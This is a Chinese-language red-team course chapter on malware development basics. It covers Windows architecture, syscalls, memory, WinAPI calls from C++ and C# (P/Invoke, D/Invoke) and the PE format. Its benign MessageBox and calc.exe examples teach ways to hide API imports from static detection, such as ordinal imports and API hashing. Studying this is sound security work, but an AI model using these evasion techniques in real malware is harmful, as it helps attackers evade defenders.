章节14:恶意软件开发基础

Windows 架构、API 与编程调用

从这个章节起,我们将学习一些有关编程与二进制的技能,为下个章节的恶意软件以及安全工具开发奠定基础。学习恶意软件开发的原因有多种,从进攻型安全的角度来看,我们通常需要针对客户的环境执行某些恶意任务,当涉及到参与中使用的工具类型时,通常有三个主要选择。第 1 种是开源工具,这些工具通常由安全供应商签名甚至没有签名,并且会在安全性相对任何成熟的组织中被检测到,因此在执行攻击的时候,它们并不总是可靠的。第 2 种是购买工具,预算较大的团队通常会选择购买工具,以便在项目期间节省宝贵的时间。这些工具通常是闭源的,并且具备更加出色的免杀能力。以及,开发定制工具。因为这些工具是定制的,所以它们没有被安全供应商们分析或标记,这使得攻击者在免疫检测方面具有优势,这就是恶意软件开发知识对于更成功的红队行动至关重要的地方。


Windows 架构

Windows 架构

为了学习较为底层的理论,我们首先需要了解 Windows 架构。运行 Windows 操作系统的机器内的处理器可以在两种不同的模式下运行:用户模式 (又称为 Ring 3) 和内核模式 (又称为 Ring 0)

image.png

应用程序运行在用户模式下,操作系统组件运行在内核模式下。大多数用户活动将发生在用户模式,但应用程序也会在需要时过渡到内核模式。Win32 API (例如 kernel32.dll) 旨在成为开发人员的第一个调用端口。 然后这些 API 将调用较低级别的 API,例如 ntdll.dll。Microsoft 有意不记录大多数 NTAPI,并且可以随时对其进行更改。他们可能会更改其他用户模式 DLL 与 NTDLL 交互的方式,只要原始用户模式 DLL 接口不变即可 

当应用程序想要完成一项任务时,例如创建文件,它无法自行完成。 唯一可以完成任务的实体是内核,因此应用程序必须遵循特定的函数调用流程。

image.png

我们来看看流程中所涉及到的重要概念:

用户进程:由用户执行的应用程序,例如记事本、Chrome 浏览器或 Microsoft Word。


子系统 DLL:包含用户进程调用的 API 函数的 DLL,例如 kernel32.dll 导出 CreateFile Windows API 函数,其他常见的子系统 DLL 例如 ntdll.dlladvapi32.dlluser32.dll 等。


ntdll.dll:系统范围的 DLL,它是用户模式下可用的最低层。这是一个特殊的 DLL,用于创建实现从用户模式到内核模式的转换,这通常称为原生 API (Native API)或 NTAPI。


执行内核:这就是所谓的 Windows 内核,它调用内核模式中可用的其他驱动程序和模块来完成任务。Windows 内核部分存储在 C:\Windows\System32 下名为 ntoskrnl.exe 的文件中。

函数调用

以创建文件为例子,应用程序可以调用 kernel32.dll 中的 CreateFileW 从磁盘打开文件,其中 Kernel32.dll 是一个关键的 DLL,被大多数应用程序加载。然后 CreateFileW 将调用对应的 NTAPI 函数: ntdll.dll 中的 NtCreateFile,而 ntdll.dll 又使用系统调用 (syscall) 转换到内核 (ntoskrnl.exe) 以访问文件系统硬件,从调用堆栈的角度来看,这类似于 UserApp.exe -> kernel32.dll -> ntdll.dll -> ntoskrnl.exe

image.png

打开 WinDBG (当前为演示目的,稍后小节教授具体用法),附加到 Notepad.exe 进程。给 kernel32 的 CreateFileW 设置断点,随即,我们便到达了调用该 WinAPI 的地址。不过跟我们想象的略有不一样,这个地址并没有执行 CreateFileW 的实际代码,而是跳转到了 kernelbase.dll 的 CreateFileW。这是因为在最近几年的 Windows 版本里,advapi32.dll 与 kernel32.dll 中的部分 API 被迁移到了新的 DLL 文件 kernelbase.dll 中。

0:002> bp kernel32!createfilew
0:002> g
Breakpoint 0 hit
KERNEL32!CreateFileW:
00007ffd`2ba60760 ff25da2c0600    jmp     qword ptr [KERNEL32!_imp_CreateFileW (00007ffd`2bac3440)] ds:00007ffd`2bac3440={KERNELBASE!CreateFileW (00007ffd`2a0f4f80)}
0:000> p
KERNELBASE!CreateFileW:
00007ffd`2a0f4f80 488bc4          mov     rax,rsp

image.png

前进一步,继而进入 Kernelbase 中的 CreateFileW API。

image.png

CreateFileWNtCreateFile 中间还有着大量的指令,但最终我们看到了调用 Ntdll 中 NtCreateFile 的指令。

image.png

给该位置设置断点,继续执行,果然到达了 NtCreateFile API 的入口。

image.png

下图,则是 NtCreateFile 的 syscall stub (执行 syscall 的代码段),而高亮的 55h,这里就是对应的 syscall 编号了。

image.png

syscall stub 的模式如下:

mov r10, rcx
mov eax, <syscall 编号>
syscall
ret

syscall 编号,即 SSN,在不同版本直接可能有所不同,我们可以在 https://j00ru.vexillium.org/syscalls/nt/64/ 网站上查询各个操作系统版本的 SYSCALL 列表。

实际上应用程序可以直接调用 syscall,而无需通过 WinAPI,WinAPI 只是充当原生 API 的包装器。话虽如此,但原生 API 更难使用,因为它们没有被 Microsoft 正式记录。此外,微软也建议不要直接使用原生API 函数,因为它们会在没有告知的情况下随时更改。


Windows 内存管理

该部分会介绍 Windows 内存的基础知识,因为了解 Windows 如何处理内存对于编写高级恶意软件至关重要。

内存与分页

现代操作系统中的内存是不直接映射到物理内存 (RAM) 的,相反,进程使用的虚拟内存地址映射到物理内存地址,有多个原因,但最终目标是尽可能多地节省物理内存。虚拟内存可以映射到物理内存,但也可以存储在磁盘上。通过虚拟内存寻址,多个进程可以共享同一个物理地址,同时拥有唯一的虚拟内存地址。虚拟内存依赖于内存分页的概念,它将内存分成 4kb 的块,称为

image.png

在进程虚拟地址空间中的页可以处于 3 种状态之一:

Free (空闲):页既未提交也未保留,进程无法访问该页,它可被保留、提交,或同时保留与提交。尝试读取或写入空闲页可能会导致访问异常。

Reserved (保留):该页已保留供之后使用,地址范围不能被其他分配函数所使用。该页不可访问,并且没有与之关联的物理存储。该页可被提交。

Committed (提交):内容已从 RAM 和磁盘上的分页文件中分配,该页可被访问,并且访问由内存保护常数控制。 只有在第一次尝试读取或写入该页时,系统才会初始化每个提交的页并将其加载到物理内存中。当进程终止时,系统释放已提交页的存储。

当页被提交后,需要有保护选项被设置,我们可以从微软官方文档 https://learn.microsoft.com/en-us/windows/win32/memory/memory-protection-constants 中看到不同的常量所对应的内存保护设置,一些常用的如下:

名称 常数 描述
PAGE_EXECUTE 0x10 提交的页可执行
PAGE_EXECUTE_READWRITE 0x40 提交的页可读可写可执行
PAGE_READWRITE 0x04 提交的页可读可读可写

内存保护

现代操作系统通常具有内置的内存保护功能来阻止漏洞利用和攻击,在编写或调试恶意软件时我们很可能会遇到它们。在较新的 Windows 版本中,都是默认开启的。

image.png

数据执行保护 (DEP):DEP 是一种系统级内存保护功能,如果页保护选项设置为 PAGE_READONLY,则 DEP 将阻止代码在这片内存区域中执行。例如在缓冲区溢出的漏洞利用中,开启 DEP 后将不能在栈区域执行 Shellcode

地址空间布局随机化 (ASLR):ASLR 随机分配进程关键数据区域的地址空间位置,包括可执行文件的基址、栈、堆、库的位置。在恶意软件开发与漏洞利用开发中,这意味着我们不能硬编码特定 API 的地址


内存操作

与内存交互的第一部便是分配内存。以 C 语言为例,我们有多种方式实现内存分配:C 中的 mallocHeapAllocLocalAlloc 函数,以及 VirtualAlloc API。

#include <iostream>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <Wincrypt.h>

void print_memory(PVOID start, size_t size) 
{
    unsigned char* ptr = (unsigned char*)start;
    for (size_t i = 0; i < size; ++i) {
        printf("%02x ", ptr[i]);
        if (i % 16 == 15) {
            printf("\n");
        }
    }
    printf("\n");
}

int main()
{
    // 使用malloc()
    PVOID pAddress1 = malloc(100);

    // 使用HeapAlloc()
    PVOID pAddress2 = HeapAlloc(GetProcessHeap(), 0, 100);

    // 使用LocalAlloc()
    PVOID pAddress3 = LocalAlloc(LPTR, 100);

    // 使用VirtualAlloc API
    PVOID pAddress4 = VirtualAlloc(0, 100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    printf("Base address of allocated memory: 0x%p\n", pAddress1);
    printf("Base address of allocated memory: 0x%p\n", pAddress2);
    printf("Base address of allocated memory: 0x%p\n", pAddress3);
    printf("Base address of allocated memory: 0x%p\n", pAddress4);
    return 0;
}

这些函数执行成功后会返回被分配的内存的起始地址,之后根据内存的保护措施,该指针可被用于后续的行动,例如读、写、执行。我们看到,分配的内存可能包含一些随机字符,有的函数支持初始化特定的字符。

image.png

然后,我们可以对内存进行写操作。在 C 里,我们用 memcpy 函数来实现。

    const char* cString = "abcdefgh";
    memcpy(pAddress1, cString, strlen(cString));

image.png

在使用完分配的缓存后,为了避免内存泄漏,我们最好手动释放。根据分配内存时所使用的函数,释放函数也有所不同。malloc 分配的内存需要用 free 函数释放,HeapAlloc 分配的用 HeapFree 释放等。


Windows API

介绍

Windows API 为开发人员提供了一种让他们的应用程序与 Windows 操作系统交互的方法。例如,如果应用程序需要在屏幕上显示某些内容、修改文件或查询注册表,所有这些操作都可以通过 Windows API 完成。

数据类型

Windows API 涉及了很多种数据类型,是在我们所熟知的 int, float 等类型之外的,我们可以查看官方文档 https://learn.microsoft.com/en-us/windows/win32/winprog/windows-data-types

数据类型 含义
DWORD 32位无符号整数型,数值范围从 0 到 2^32-1
size_t 对象的尺寸,无符号整数型,范围根据操作系统位数有所不同
VOID 空类型
PVOID 指向任何数据类型的指针
HANDLE 操作系统所管理的对象,如文件、进程、线程
HMODULE 模块的句柄,例如 DLL 的基地址
LPCSTR/PCSTR null 结尾的 8 位 Windows ANSI 字符常量字符串的指针
LPSTR/PSTR 类似于 LPCSTR/PCSTR,但不是常量,可写
LPCWSTR/PCWSTR null 结尾的 16 位 Windows Unicode 字符常量字符串的指针
PWSTR/LPWSTR 类似于 LPCWSTR/PCWSTR,但不是常量,可写
wchar_t 同 wchar,代表宽字符

指针

Windows API 允许开发人员直接声明数据类型或指向数据类型的指针,在数据类型名称中,以 P 开头的数据类型代表指向实际数据类型的指针,而不以 P 开头的数据类型代表实际数据类型本身。例如,PHANDLE HANDLE* 相同,PSIZE_T SIZE_T* 相同,PDWORDDWORD* 相同。


ANSI 与 Unicode

大多数 Windows API 函数都有以 A 或 W 结尾的两个版本。 例如,有 CreateFileACreateFileW。其中以 A 结尾的函数表示 ANSI,而以 W 结尾的函数表示 Unicode Wide。在适用的情况下,ANSI 函数采用 ANSI 数据类型作为参数,而 Unicode 函数将采用 Unicode 数据类型。例如,CreateFileA 的第一个参数是一个 LPCSTR,它是一个指向以 null 结尾的 8 位 Windows ANSI 字符常量字符串的指针,而 CreateFileW 的第一个参数是 LPCWSTR,它是一个指向以 null 结尾的 16 位 Unicode 字符常量字符串的指针。

此外,所需的字节数将根据使用的版本而有所不同。

char str1[] = "dler"; // 5 个字节(dler + 空字节)。
wchar str2[] = L"dler"; // 10字节,每个字符2字节(空字节也是2字节)


In 和 Out

Windows API 有输入和输出参数,IN 参数是传递给函数并用于输入的参数,而 OUT 参数是用于将值返回给函数调用者的参数。输出参数通常通过指针按引用传递。以我们之前讨论过的一个 API,LogonUserA 为例,诸如用户名、域名、密码等参数都是需要输入的参数,而该 API 调用成功后,有效令牌的句柄会被填充给 phToken 参数。

BOOL LogonUserA(
  [in]           LPCSTR  lpszUsername,
  [in, optional] LPCSTR  lpszDomain,
  [in, optional] LPCSTR  lpszPassword,
  [in]           DWORD   dwLogonType,
  [in]           DWORD   dwLogonProvider,
  [out]          PHANDLE phToken
);


调用 API

在本课程中,我们主要使用 C++ C# 编写恶意软件或工具,在不同的时候,这 2 种语言各有优势。对于要使用的 API 的用法,我们可以参考微软官方文档,例如 MessageBox 的 https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messagebox。 接下来,我们来看看如何分别在这 2 种语言里调用 Windows API。

在 C 中调用 MessageBox

打开 Visual Studio,新建 C++ 项目,选择 Console App

image.png

在 C++ 中调用 WinAPI 十分直接与方便,这也是使用 C++ 编写恶意软件的优势之一。我们分别尝试 ANSI 与 Unicode 版的 MessageBox。

#include <windows.h>

int main() {
    // MessageBoxA is the ASCII version of the function.
    MessageBoxA(NULL, "Dler Security 2022", "Message", MB_OK);

    // MessageBoxW is the wide character (Unicode) version of the function.
    MessageBoxW(NULL, L"Dler Security 2023", L"Message", MB_OK);

    return 0;
}

不出意外,A 与 W 版的 MessageBox 都成功弹出。

image.png

image.png


在 C# 中使用 P/Invoke 调用 MessageBox

在 C# 中调用 API 需要多出一些步骤,我们先讨论 P/Invoke 方法调用 MessageBox。平台调用 (P/Invoke) 允许我们从托管代码 (例如 C#,VBA)访问非托管库 (例如 C/C++,Rust 等语言)中存在的结构和函数。顺便一提,托管代码是在托管运行环境中执行的,例如 .NETJVM 等,运行环境处理内存管理、类型检测、异常处理等任务。而非托管代码,则是直接运行在机器硬件或者操作系统 API 之上,而无需中间运行环境管理代码的执行。在我们恶意软件开发过程中所常接触的语言里,C/C++ 代码是非托管的,而 C#托管的。

用 C/C++ 编写的应用程序和库被编译为机器代码,并且是非托管代码的案例。编程者必须手动进行内存管理等任务,例如每当他们分配内存时,之后必须记得释放回去。相反, C# 托管代码运行在 CLR。C# 等语言编译为中间语言 ,CLR 随后在运行时将其转换为机器代码。CLR 还处理垃圾收集和各种运行时检测。那么,为什么我们需要 P/Invoke 呢? 以 .NET 为例,.NET 运行时已经在底层使用了 P/Invoke,并为我们提供了运行在顶层的抽象。例如,要在 .NET 中启动一个进程,我们可以使用 System.Diagnostics.Process 类中的 Start 方法。如果我们在运行时跟踪此方法,我们将看到它使用 P/Invoke 来调用 CreateProcess API。但是,它并没有提供允许我们自定义传递到 STARTUPINFO 结构体数据的方法,这使我们无法执行诸如在挂起状态下启动进程之类的操作。

用 C# 的 System.Diagnostic 类来实现运行计算器,代码如下:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;

class Program
{
    static void Main()
    {
        // Create new instance of the Process class
        Process process = new Process();

        // Specify the executable to run
        process.StartInfo.FileName = "calc.exe";

        // Start the process
        process.Start();
    }
}

image.png

而底层的 API 则是 CreateProcess。

BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);
typedef struct _STARTUPINFOA {
  DWORD  cb;
  LPSTR  lpReserved;
  LPSTR  lpDesktop;
  LPSTR  lpTitle;
  DWORD  dwX;
  DWORD  dwY;
  DWORD  dwXSize;
  DWORD  dwYSize;
  DWORD  dwXCountChars;
  DWORD  dwYCountChars;
  DWORD  dwFillAttribute;
  DWORD  dwFlags;
  WORD   wShowWindow;
  WORD   cbReserved2;
  LPBYTE lpReserved2;
  HANDLE hStdInput;
  HANDLE hStdOutput;
  HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;

如果从 API 层面实现运行计算器,代码如下:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("kernel32.dll")]
    public static extern bool CreateProcessA(
        string lpApplicationName,
        string lpCommandLine,
        IntPtr lpProcessAttributes,
        IntPtr lpThreadAttributes,
        bool bInheritHandles,
        uint dwCreationFlags,
        IntPtr lpEnvironment,
        string lpCurrentDirectory,
        [In] ref STARTUPINFOA lpStartupInfo,
        out PROCESS_INFORMATION lpProcessInformation);

    [StructLayout(LayoutKind.Sequential)]
    public struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public int dwProcessId;
        public int dwThreadId;
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
    public struct STARTUPINFOA
    {
        public int cb;
        public string lpReserved;
        public string lpDesktop;
        public string lpTitle;
        public uint dwX;
        public uint dwY;
        public uint dwXSize;
        public uint dwYSize;
        public uint dwXCountChars;
        public uint dwYCountChars;
        public uint dwFillAttribute;
        public uint dwFlags;
        public short wShowWindow;
        public short cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }

    static void Main()
    {
        STARTUPINFOA si = new STARTUPINFOA();
        PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
        si.cb = Marshal.SizeOf(si);
        CreateProcessA(null, "calc.exe", IntPtr.Zero, IntPtr.Zero, false, 0, IntPtr.Zero, null, ref si, out pi);
    }
}

运行结果是完全一样的。

image.png

对于其他诸多有用的 WinAPI,在 .NET 中没有公开,因此我们需要手动进行 P/Invoke。以 MessageBox 为例,我们可以访问 https://www.pinvoke.net/default.aspx/user32.messagebox 来查看 C# 中的特征。

[DllImport("user32.dll", SetLastError = true, CharSet= CharSet.Auto)]
public static extern int MessageBox(IntPtr hWnd, String text, String caption, uint type);

新建 C# 项目,选择 Console App (.NET Framework)。

image.png

因为 C# 没有类似于 C++ 的头文件,我们需要手动声明所有的 Win API 以及结构体。首先,我们需要使用 DllImport 来声明该 API,意思是从 user32.dll 中导入函数 MessageBoxW。返回值类型是整数型, 参数有字符串类型以及无符号整型。考虑到 C++ 与 C# 的数据类型并不是一一对应的,因此我们需要做一些类型转换。最终代码如下:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("user32.dll", CharSet = CharSet.Unicode)]
    static extern int MessageBoxW(IntPtr hWnd, string lpText, string lpCaption, uint uType);

    static void Main(string[] args)
    {
        MessageBoxW(IntPtr.Zero, "MessageBox!", "P/Invoke", 0);
    }
}

调用成功。

image.png

P/Invoke 已经帮我们自动进行了类型转换,但有的时候可能也需要手动转换。例如对于 lpText lpCaption 参数,我们可以通过 MarshalAs(UnmanagedType.LPWStr) 将其转换为 C# 里的 string 类型。

    static extern int MessageBoxW(IntPtr hWnd, [MarshalAs(UnmanagedType.LPWStr)] string lpText, [MarshalAs(UnmanagedType.LPWStr)] string lpCaption, uint uType);

但当我们在恶意软件中使用了较为敏感的 API 的话,是可以通过例如 pestudio(https://www.winitor.com/download) 等工具来分析出 IoC 的。使用 pestudio 我们可以看到使用 P/Invoke 导入的 API,如果是恶意软件常用的那些,那么便可能引发检测。

image.png

MessageBoxW 也存在于二进制文件的字符串列表。

image.png

为了缓解上述问题,除了 API 的名称,我们还可以通过 API 的序数来指定。对于例如 user32.dll 等非托管 DLL,我们可以轻松地使用 PE-Bear 之类的 PE 文件分析器查看其导出列表 (用于给其他程序导入所用),我们可以看到 MessageBoxW 的序数为 86E,也就是十进制的 2158。关于函数名称序数函数 RVA名称 RVA 等属性之间的关系,我们在稍后小节深入讨论,但目前我们得知序数便可。

image.png

我们给 DllImport 部分加入 EntryPoint 属性,并且自定义了函数名称,最终代码如下:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("user32.dll", EntryPoint="#2158", CharSet = CharSet.Unicode)]
    static extern int demo(IntPtr hWnd, [MarshalAs(UnmanagedType.LPWStr)] string lpText, [MarshalAs(UnmanagedType.LPWStr)] string lpCaption, uint uType);

    static void Main(string[] args)
    {
        demo(IntPtr.Zero, "Just a demo!", "P/Invoke", 0);
    }
}

于是

image.png

再次使用 pestudio 检查文件,我们发现更名后的 MessageBoxW 看起来是个合法的函数,不过依旧能看到 P/Invoke 的使用,并且序数 2158 也得以显示。

image.png


在 C# 中使用 D/Invoke 调用 MessageBox

动态调用,即 D/Invoke (https://github.com/TheWover/DInvoke),是一个开源的 C# 项目旨在代替 P/Invoke。相比 P/Invoke,D/Invoke 具有这些优势:无需通过 P/Invoke 调用非托管代码将非托管 PE 文件手动映射至内存并且调用其入口或导出函数为原生 API 生成 syscall 包装器

下载或编译 DInvoke.dll,在项目中添加对 DInvoke.dll 的引用。

image.png

修改 DllImport 属性,并将方法设置为 delegate 类型 (委托是一种类型,表示对具有特定参数列表和返回类型的方法的引用)。然后,把 API 的参数保存在一个对象数组中,然后通过 DynamicAPIInvoke 方法传递参数。最终代码如下:

using System;
using System.Runtime.InteropServices;
using DInvoke.DynamicInvoke;


class Program
{
    [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError =true)]
    public delegate int messagebox_dinvoke(IntPtr hWnd,string lpText,string lpCaption,uint uType);

    static void Main(string[] args)
    {
        object[] parameters = { IntPtr.Zero, "Demo", "From D/Invoke", (uint)0 };
        var result = (int)Generic.DynamicAPIInvoke("user32.dll", "MessageBoxW", typeof(messagebox_dinvoke), ref parameters);
    }
}

MessageBox 被成功调用了。

image.png

目前,在 DynamicAPIInvoke 方法中,还是能看到模块名以及 API 名称的明文字符串。对于函数名,我们依旧可以用序数来代替。

using System;
using System.Runtime.InteropServices;
using DInvoke.DynamicInvoke;


class Program
{
    [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError =true)]
    public delegate int messagebox_dinvoke(IntPtr hWnd,string lpText,string lpCaption,uint uType);

    static void Main(string[] args)
    {
        object[] parameters = { IntPtr.Zero, "Demo", "From D/Invoke", (uint)0 };
        var api = Generic.GetLibraryAddress("user32.dll", 2158);
        var result = (int)Generic.DynamicFunctionInvoke(api, typeof(messagebox_dinvoke), ref parameters);
    }
}

依旧能成功调用。

image.png

我们还可以通过 API Hashing 来进一步避免对于字符串的使用。基于给定的密钥,我们可以得到字符串的哈希值,用于代替明文模块名以及 API 名称。可以使用工具 CSharpRepl (https://github.com/waf/CSharpRepl) 在外部获得目标模块名以及 API 名称的哈希。

image.png

不过,我们从 https://github.com/TheWover/DInvoke/tree/main 得到的 D/Invoke 尚未支持以哈希值访问模块。在 DInvoke\Dinvoke\DynamicInvoke\Generic.cs 中加入下列代码并编译,加入新的引用。

        public static IntPtr GetLoadedModuleAddress(string hashedDllName, long key)
        {
            using var process = Process.GetCurrentProcess();

            foreach (ProcessModule module in process.Modules)
            {
                var hashedName = GetAPIHash(module.ModuleName, key);

                if (hashedName.Equals(hashedDllName))
                    return module.BaseAddress;
            }

            return IntPtr.Zero;
        }

我们可以使用方法 GetLoadedModuleAddress 以及 GetExportAddress 通过哈希以及密钥来分别获得对模块以及 API 的句柄最终,我们的代码如下:

using System;
using System.Runtime.InteropServices;
using System.Xml.Linq;
using DInvoke.DynamicInvoke;
using static DInvoke.Injection.RemoteThreadCreate;


class Program
{
    [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = true)]
    public delegate int messagebox_dinvoke(IntPtr hWnd, string lpText, string lpCaption, uint uType);

    static void Main(string[] args)
    {
        object[] parameters = { IntPtr.Zero, "Demo", "From D/Invoke", (uint)0 };
        var hModule = Generic.GetLoadedModuleAddress("787F1BE411268C41CFA155DC0B7E522E", 0xabcddcba);
        var hMessage = Generic.GetExportAddress(hModule, "AB07F73F98F6A8C21DDF027070E5AC54", 0xabcddcba);
        var result = (int)Generic.DynamicFunctionInvoke(hMessage, typeof(messagebox_dinvoke), ref parameters);
    }
}

调用正常!

image.png

PE 文件

可移植可执行 (PE) 文件格式与 Windows 操作系统上能实现代码执行的文件类型所使用,常见的拓展名有 exedllsys 等。PE 格式描述了文件必须遵循的标准结构,以便定位其内容并在执行的各个阶段使用其信息。了解这种格式对于恶意软件分析人员来说尤为重要,因为检查可执行文件的 PE 内容可以提供有关文件的大量信息,可能包括文件的作用。对于我们开发恶意软件的攻击者也同样重要,因为一些免疫检测的技术需要对 PE 文件十分熟悉。


PE 文件结构

PE 格式包含多种文件类型,在最高层次可以分为 COFF 文件与 PE 文件

image.png


通用目标文件格式 (COFF) 文件,也称为对象文件,具有 obj 文件扩展名。它由 Windows 兼容的编译器生成,将源代码转换为机器代码。该文件类型本身不可执行,但可以作为输入传递给链接器,链接器从一个或多个对象文件创建可执行文件

PE 文件,也称为可执行文件映像文件,这是链接器生成的文件,包含可执行代码运行时映射到内存的数据。映像文件还包含另外两种类型,第一种是动态链接库文件,具有 dll 扩展名,包含可以被多个程序同时导入和使用的代码和数据。 尽管 DLL 文件被归类为可执行文件,但它不能独立地直接运行。第二种是可执行文件,具有 exe 扩展名,与 DLL 不同的是它可以独立运行。

PE 格式以许多文件头开始,文件头是位于数据块起始附加数据,通常包含有关数据块的信息,例如数据块的大小元素在数据块中的位置,以及其他属性。在 PE 格式中,文件头数据由结构体组织和定义,在 C 和 C 相关的编程语言中,结构体是由不同的成员组成的数据类型,这些成员本身可能有多种数据类型。这些成员由不同的变量名称引用,并按顺序存储在连续的内存块中。PE 格式中使用的结构在名为 winnt.h 的头文件中定义,该文件可以作为 Windows SDK 的一部分下载。

image.png


DOS 头与 DOS Stub

PE 文件的第一个头文件总是以 0x4D5A (MZ) 这 2 个字节为前缀,这 2 个字节表示 DOS 头签名,用于确认正在解析或检查的文件是有效的 PE 文件。DOS头是一个数据结构体,定义如下:

typedef struct _IMAGE_DOS_HEADER {     
    WORD   e_magic;                     // MZ 签名
    WORD   e_cblp;                     
    WORD   e_cp;                      
    WORD   e_crlc;                     
    WORD   e_cparhdr;                   
    WORD   e_minalloc;                
    WORD   e_maxalloc;                  
    WORD   e_ss;                      
    WORD   e_sp;                       
    WORD   e_csum;                     
    WORD   e_ip;                       
    WORD   e_cs;                      
    WORD   e_lfarlc;                   
    WORD   e_ovno;                      
    WORD   e_res[4];                   
    WORD   e_oemid;                     
    WORD   e_oeminfo;                   
    WORD   e_res2[10];                  
    LONG   e_lfanew;                    // NT 头的偏移
  } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

其中,最重要的分别是 e_magic e_lfanew,分别是小端格式的 ASCII 字符 MZ,以及从映像文件起始到 NT 头的偏移。e_lfanew 总是位于 0x3c 处,占 4 个字节

使用 PE Bear 打开我们上一小节用 C++ 编写的 MessageBox 程序,我们发现最开始确实是 4D 5A,而在 0x3c 处,值为 0xF0

image.png

而 DOS Stub 位于 0x40 处,DOS Stub 紧接着 DOS 头,因为 DOS 头占用 0x40 字节 (可以根据上文给出的结构体计算出总大小)。DOS Stub 包含了报错信息:该程序不能再 DOS 模式中运行


NT 头

NT 头十分重要,其结构体如下,包含了签名文件头可选头这 3 个元素,NT 头包含了大量有关 PE 的信息。

//32 位
typedef struct _IMAGE_NT_HEADERS {
  DWORD                   Signature;
  IMAGE_FILE_HEADER       FileHeader;
  IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;

//64 位
typedef struct _IMAGE_NT_HEADERS64 {
    DWORD                   Signature;
    IMAGE_FILE_HEADER       FileHeader;
    IMAGE_OPTIONAL_HEADER64 OptionalHeader;
} IMAGE_NT_HEADERS64, *PIMAGE_NT_HEADERS64;

Signature

在上文,我们知道了 NT 头在 0xF0 偏移处,于是我们定位到 0xF0 处,发现签名元素 0x50450000,是填充了 2 个零字节的字符串 PE,因为该签名占用 4 字节

image.png


文件头 File Header

File 头的结构体如下:

typedef struct _IMAGE_FILE_HEADER {
    WORD    Machine
    WORD    NumberOfSections;
    DWORD   TimeDateStamp;
    DWORD   PointerToSymbolTable;
    DWORD   NumberOfSymbols;
    WORD    SizeOfOptionalHeader;
    WORD    Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;

比较重要的成员有 MachineNumberOfSectionsTimeDateStampSizeOfOptionalHeader,以及 Characteristics

image.png

Machine 表示该 PE 文件所期望运行在的 CPU 架构,我们能看到该应用期望在 AMD64 架构 CPU 的系统上运行。

NumberOfSection 表示当前 PE 文件所包含的 PE 节数量,该程序有 6 个。

TimeDataStamp 表示文件创建的时间,能看到是 2023 年 6 月 19 日

SizeOfOptionalHeader 表示可选头的尺寸,这里是 240

Characteristics 表示该二进制文件的特定属性,例如是 DLL 还是可执行的文件,这里显然是可执行的 exe 文件。


可选头 Optional Header

尽管可选头名称为 Optional Header,但却非常重要,只是有些文件类型 (例如对象文件) 没有它。让我们查看它的结构体:

//32 位
typedef struct _IMAGE_OPTIONAL_HEADER {
  WORD                 Magic;
  BYTE                 MajorLinkerVersion;
  BYTE                 MinorLinkerVersion;
  DWORD                SizeOfCode;
  DWORD                SizeOfInitializedData;
  DWORD                SizeOfUninitializedData;
  DWORD                AddressOfEntryPoint;
  DWORD                BaseOfCode;
  DWORD                BaseOfData;
  DWORD                ImageBase;
  DWORD                SectionAlignment;
  DWORD                FileAlignment;
  WORD                 MajorOperatingSystemVersion;
  WORD                 MinorOperatingSystemVersion;
  WORD                 MajorImageVersion;
  WORD                 MinorImageVersion;
  WORD                 MajorSubsystemVersion;
  WORD                 MinorSubsystemVersion;
  DWORD                Win32VersionValue;
  DWORD                SizeOfImage;
  DWORD                SizeOfHeaders;
  DWORD                CheckSum;
  WORD                 Subsystem;
  WORD                 DllCharacteristics;
  DWORD                SizeOfStackReserve;
  DWORD                SizeOfStackCommit;
  DWORD                SizeOfHeapReserve;
  DWORD                SizeOfHeapCommit;
  DWORD                LoaderFlags;
  DWORD                NumberOfRvaAndSizes;
  IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;

//64位
typedef struct _IMAGE_OPTIONAL_HEADER64 {
  WORD                 Magic;
  BYTE                 MajorLinkerVersion;
  BYTE                 MinorLinkerVersion;
  DWORD                SizeOfCode;
  DWORD                SizeOfInitializedData;
  DWORD                SizeOfUninitializedData;
  DWORD                AddressOfEntryPoint;
  DWORD                BaseOfCode;
  ULONGLONG            ImageBase;
  DWORD                SectionAlignment;
  DWORD                FileAlignment;
  WORD                 MajorOperatingSystemVersion;
  WORD                 MinorOperatingSystemVersion;
  WORD                 MajorImageVersion;
  WORD                 MinorImageVersion;
  WORD                 MajorSubsystemVersion;
  WORD                 MinorSubsystemVersion;
